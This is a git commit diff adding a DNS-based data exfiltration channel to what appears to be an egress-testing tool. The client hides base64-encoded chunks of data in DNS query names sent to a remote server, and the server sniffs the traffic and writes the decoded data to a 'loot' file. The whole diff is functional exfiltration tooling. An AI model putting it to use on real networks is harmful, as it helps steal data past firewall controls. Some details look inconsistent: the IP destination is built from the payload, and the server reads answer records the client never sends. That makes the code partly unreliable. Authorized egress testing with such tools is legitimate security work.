Added resolved DNS protocol

common/helpers.py

@@ -108,6 +108,17 @@ def randomNumbers(b):
     return str(random_number)
 
 
+def randomString(length=-1):
+    """
+    Returns a random string of "length" characters.
+    If no length is specified, resulting string is in between 6 and 15 characters.
+    """
+    if length == -1:
+        length = random.randrange(6, 16)
+    random_string = ''.join(random.choice(string.ascii_letters) for x in range(length))
+    return random_string
+
+
 def title_screen():
     os.system('clear')
     print "#" * 80

protocols/clients/dns_resolved.py

@@ -0,0 +1,55 @@
+'''
+
+This is a DNS client that transmits data within DNS TXT requests
+Thanks to Raffi for his awesome blog posts on how this can be done
+http://blog.cobaltstrike.com/2013/06/20/thatll-never-work-we-dont-allow-port-53-out/
+
+'''
+
+import base64
+import socket
+import sys
+from common import helpers
+from scapy.all import *
+
+
+class Client:
+
+    def __init__(self, cli_object):
+        self.protocol = "dns_resolved"
+        self.length = 20
+        self.remote_server = cli_object.ip
+
+    def transmit(self, data_to_transmit):
+
+        byte_reader = 0
+        packet_number = 1
+
+        while (byte_reader < len(data_to_transmit) + self.length):
+            encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
+
+            # calcalate total packets
+            if ((len(data_to_transmit) % self.length) == 0):
+                total_packets = len(data_to_transmit) / self.length
+            else:
+                total_packets = (len(data_to_transmit) / self.length) + 1
+
+            print "[*] Packet Number/Total Packets:        " + str(packet_number) + "/" + str(total_packets)
+
+            # Craft the packet with scapy
+            try:
+                send(IP(dst=encoded_data + "." + self.remote_server)/UDP()/DNS(
+                    id=15, opcode=0,
+                    qd=[DNSQR(qname=encoded_data + "." + self.remote_server, qtype="A")],
+                    verbose=False))
+            except gaierror:
+                pass
+            except KeyboardInterrupt:
+                print "[*] Shutting down..."
+                sys.exit()
+
+            # Increment counters
+            byte_reader += self.length
+            packet_number += 1
+
+        return

protocols/servers/dns_resolved.py

@@ -0,0 +1,55 @@
+'''
+
+This is a DNS Listening/server module that listens for requests, and 
+writes out data within TXT requests to a file
+
+'''
+
+import base64
+import time
+from common import helpers
+from scapy.all import *
+
+
+class Server:
+
+    def __init__(self, cli_object):
+
+        self.protocol = "dns"
+        self.last_packet = ''
+        self.file_name = ''
+        self.loot_path = ''
+
+    def customAction(self, packet):
+
+        if packet.haslayer(DNSRR):
+            dnsrr_strings = repr(packet[DNSRR])
+            try:
+                incoming_data = base64.b64decode(dnsrr_strings.split('\'')[1].rstrip('.'))
+                if incoming_data == self.last_packet:
+                    pass
+                else:
+                    with open(self.loot_path + self.file_name, 'a') as dns_out:
+                        dns_out.write(incoming_data)
+                    self.last_packet = incoming_data
+            except TypeError:
+                pass
+        return
+
+    def serve(self):
+
+        self.loot_path = os.path.join(helpers.ea_path(), "data") + "/"
+        # Check to make sure the agent directory exists, and a loot
+        # directory for the agent.  If not, make them
+        if not os.path.isdir(self.loot_path):
+            os.makedirs(self.loot_path)
+
+        # Get the date info
+        current_date = time.strftime("%m/%d/%Y")
+        current_time = time.strftime("%H:%M:%S")
+        self.file_name = current_date.replace("/", "") +\
+            "_" + current_time.replace(":", "") + "text_data.txt"
+
+        print "[*] DNS server started!"
+        sniff(prn=self.customAction)
+        return